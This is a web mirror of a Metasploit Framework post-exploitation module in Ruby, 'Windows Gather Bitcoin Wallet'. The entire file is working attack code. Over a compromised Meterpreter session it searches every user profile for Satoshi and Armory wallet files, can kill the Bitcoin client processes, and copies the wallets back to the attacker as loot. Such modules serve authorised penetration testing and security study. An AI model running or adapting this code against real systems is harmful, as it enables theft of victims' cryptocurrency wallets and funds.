CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/gather/bitcoin_jacker.rb
Views: 11655
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Auxiliary::Report
8
include Msf::Post::Windows::UserProfiles
9
include Msf::Post::File
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Windows Gather Bitcoin Wallet',
16
'Description' => %q{
17
This module downloads any Bitcoin wallet files from the target
18
system. It currently supports both the classic Satoshi wallet and the
19
more recent Armory wallets. Note that Satoshi wallets tend to be
20
unencrypted by default, while Armory wallets tend to be encrypted by default.
21
},
22
'License' => MSF_LICENSE,
23
'Author' => [
24
'illwill <illwill[at]illmob.org>', # Original implementation
25
'todb' # Added Armory support
26
],
27
'Platform' => [ 'win' ], # TODO: Several more platforms host Bitcoin wallets...
28
'SessionTypes' => [ 'meterpreter' ],
29
'Compat' => {
30
'Meterpreter' => {
31
'Commands' => %w[
32
stdapi_sys_process_get_processes
33
stdapi_sys_process_kill
34
]
35
}
36
}
37
)
38
)
39
40
register_options([
41
OptBool.new('KILL_PROCESSES', [false, 'Kill associated Bitcoin processes before jacking.', false]),
42
])
43
end
44
45
def run
46
print_status('Checking all user profiles for Bitcoin wallets...')
47
found_wallets = false
48
grab_user_profiles.each do |user|
49
next unless user['AppData']
50
51
bitcoin_wallet_path = user['AppData'] + '\\Bitcoin\\wallet.dat'
52
next unless file?(bitcoin_wallet_path)
53
54
found_wallets = true
55
jack_wallet(bitcoin_wallet_path)
56
armory_wallet_path = user['AppData'] + '\\Armory'
57
session.fs.dir.foreach(armory_wallet_path) do |fname|
58
next unless fname =~ /\.wallet/
59
60
found_wallets = true
61
armory_wallet_fullpath = armory_wallet_path + "\\#{fname}"
62
jack_wallet(armory_wallet_fullpath)
63
end
64
end
65
unless found_wallets
66
print_warning 'No wallets found, nothing to do.'
67
end
68
end
69
70
def jack_wallet(wallet_path)
71
data = ''
72
wallet_type = case wallet_path
73
when /\.wallet$/
74
:armory
75
when /wallet\.dat$/
76
:satoshi
77
else
78
:unknown
79
end
80
81
if wallet_type == :unknown
82
print_error "Unknown wallet type: #{wallet_path}, nothing to do."
83
return
84
end
85
86
print_status("#{wallet_type.to_s.capitalize} Wallet found at #{wallet_path}")
87
print_status("Jackin' wallet...")
88
89
kill_bitcoin_processes if datastore['KILL_PROCESSES']
90
91
begin
92
data = read_file(wallet_path) || ''
93
rescue ::Exception => e
94
print_error("Failed to download #{wallet_path}: #{e.class} #{e}")
95
return
96
end
97
98
if data.empty?
99
print_error('No data found, nothing to save.')
100
else
101
loot_result = store_loot(
102
"bitcoin.wallet.#{wallet_type}",
103
'application/octet-stream',
104
session,
105
data,
106
wallet_path,
107
"Bitcoin Wallet (#{wallet_type.to_s.capitalize})"
108
)
109
print_status("Wallet jacked: #{loot_result}")
110
end
111
end
112
113
def kill_bitcoin_processes
114
client.sys.process.get_processes.each do |process|
115
pname = process['name'].downcase
116
next unless pname == 'bitcoin.exe' || pname == 'bitcoind.exe' || pname == 'armoryqt.exe'
117
118
print_status("#{process['name']} Process Found...")
119
print_status("Killing Process ID #{process['pid']}...")
120
session.sys.process.kill(process['pid'])
121
end
122
end
123
end
124
125